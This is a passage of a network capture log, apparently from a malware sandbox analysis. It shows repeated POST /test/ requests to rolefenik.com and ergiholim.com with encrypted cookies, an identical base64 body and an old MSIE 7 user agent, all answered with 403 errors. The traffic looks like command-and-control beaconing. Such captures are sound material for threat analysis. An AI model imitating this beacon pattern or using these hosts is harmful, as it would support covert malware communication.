2024-11-13 17:23:17 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:17 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:18 UTC	756	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ILsKwzIq6gbDJ4%2F66sgrnxje5FIUfgW1W%2BWB8IcNF%2BiKXLMAdgDE20dGWKMfQWyMH%2FCZqP8%2B%2Bc4AVU3IPEucSHvLO5bzgobpS0wPjJqZp2QMR4JtMOz%2BxCQcUzAMepWH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072e3fc62d79c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=146570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20332&cwnd=32&unsent_bytes=0&cid=8b622a9829de32b7&ts=501&x=0"
2024-11-13 17:23:18 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	50063	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:19 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:19 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:19 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNz%2BwL5jt40WawpRVcr9nBci4YrOidndGEDRCzAEro1FUvYqV49pG5P2qf4v3eSgypbVebFdPnjs3LVTKAYi6K2Ynmk02zVeRYUbB%2BBO3FxErv1ToDJHh4rO%2BO2g7maZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072edc9a37374-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129834&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=22287&cwnd=32&unsent_bytes=0&cid=1740d836c5f71e5f&ts=776&x=0"
2024-11-13 17:23:19 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	50064	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:20 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:20 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:21 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pswzgrdyDrsJIPX3dZ2LvrTG8xG8knbsZ5QD6m3x0cQaJM7PwZ2%2FOjnecOo1zx1BDqJGO%2BZOXy4ltUSCnbBEKY57071ar49gvf%2F3G7PXUj%2FDgTugD09g96w%2FR%2FHxJv8P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072f85989e36b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139980&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20059&cwnd=32&unsent_bytes=0&cid=e33bb2b48837105f&ts=505&x=0"
2024-11-13 17:23:21 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	50065	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:22 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:22 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:22 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rjae4mD%2BxOGAyipArYHkptJw9h%2FLNTpN88F791NgZ6QQ2ADVt%2BsjgaVXTcdMhrwRwYu3351lvFnGBYxWx9H%2BBqcxcOn5sSTjV7tOIrDk3SBBKpH%2BzdU9S5CUjF9wXRUG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20730148dcd768-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=156589&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=18186&cwnd=32&unsent_bytes=0&cid=137fed4dc9920c19&ts=575&x=0"
2024-11-13 17:23:22 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	50066	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:23 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:23 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:23 UTC	751	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BJmJxP6Ps0agBrkSyQyry0%2F89gwUBxy3%2FI7dtX1kFSohIGH5r9QnfjOYbXNKKORvGnhgQhjjq%2FgbgEmAAJgE89H3kjREZTi0PJT7hf2yH4IXhKgThxt2oDhwZ3r5rpf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207308fd042c87-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1340&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2154761&cwnd=228&unsent_bytes=0&cid=9241388e304601e6&ts=394&x=0"
2024-11-13 17:23:23 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	50067	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:24 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:24 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:25 UTC	745	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GT21G0dGeeA0ByYvdUGiiYKVcqVQ8kfwIikzxsJy8UANjF6ZlDVtTWnOgs84m%2F8LKvWvgYk%2FkETiHhtnlJA6kOzEeNRloLBilIX5QEEmB6nwikz3K1g64qzxWe4OdTSr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073107dcbc971-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=39825&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=72679&cwnd=32&unsent_bytes=0&cid=03bb5b8cf26572a9&ts=486&x=0"
2024-11-13 17:23:25 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	50068	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:26 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:26 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:27 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VSOXVeC52kxi%2FRdy5quxEBnPOcwY2%2BiwczSgXYxF0GnIwMaqPDUsarstAnApM51Oyl%2F7Ngo%2BBfbPjcOeN8%2Fp1d%2BsHWkEFsaS5J4VXSsTSOkHLpjtswmfDsvZgaUGttnU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207318bfd8d788-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=134927&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21447&cwnd=32&unsent_bytes=0&cid=286837213be96280&ts=968&x=0"
2024-11-13 17:23:27 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	50069	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:27 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:27 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
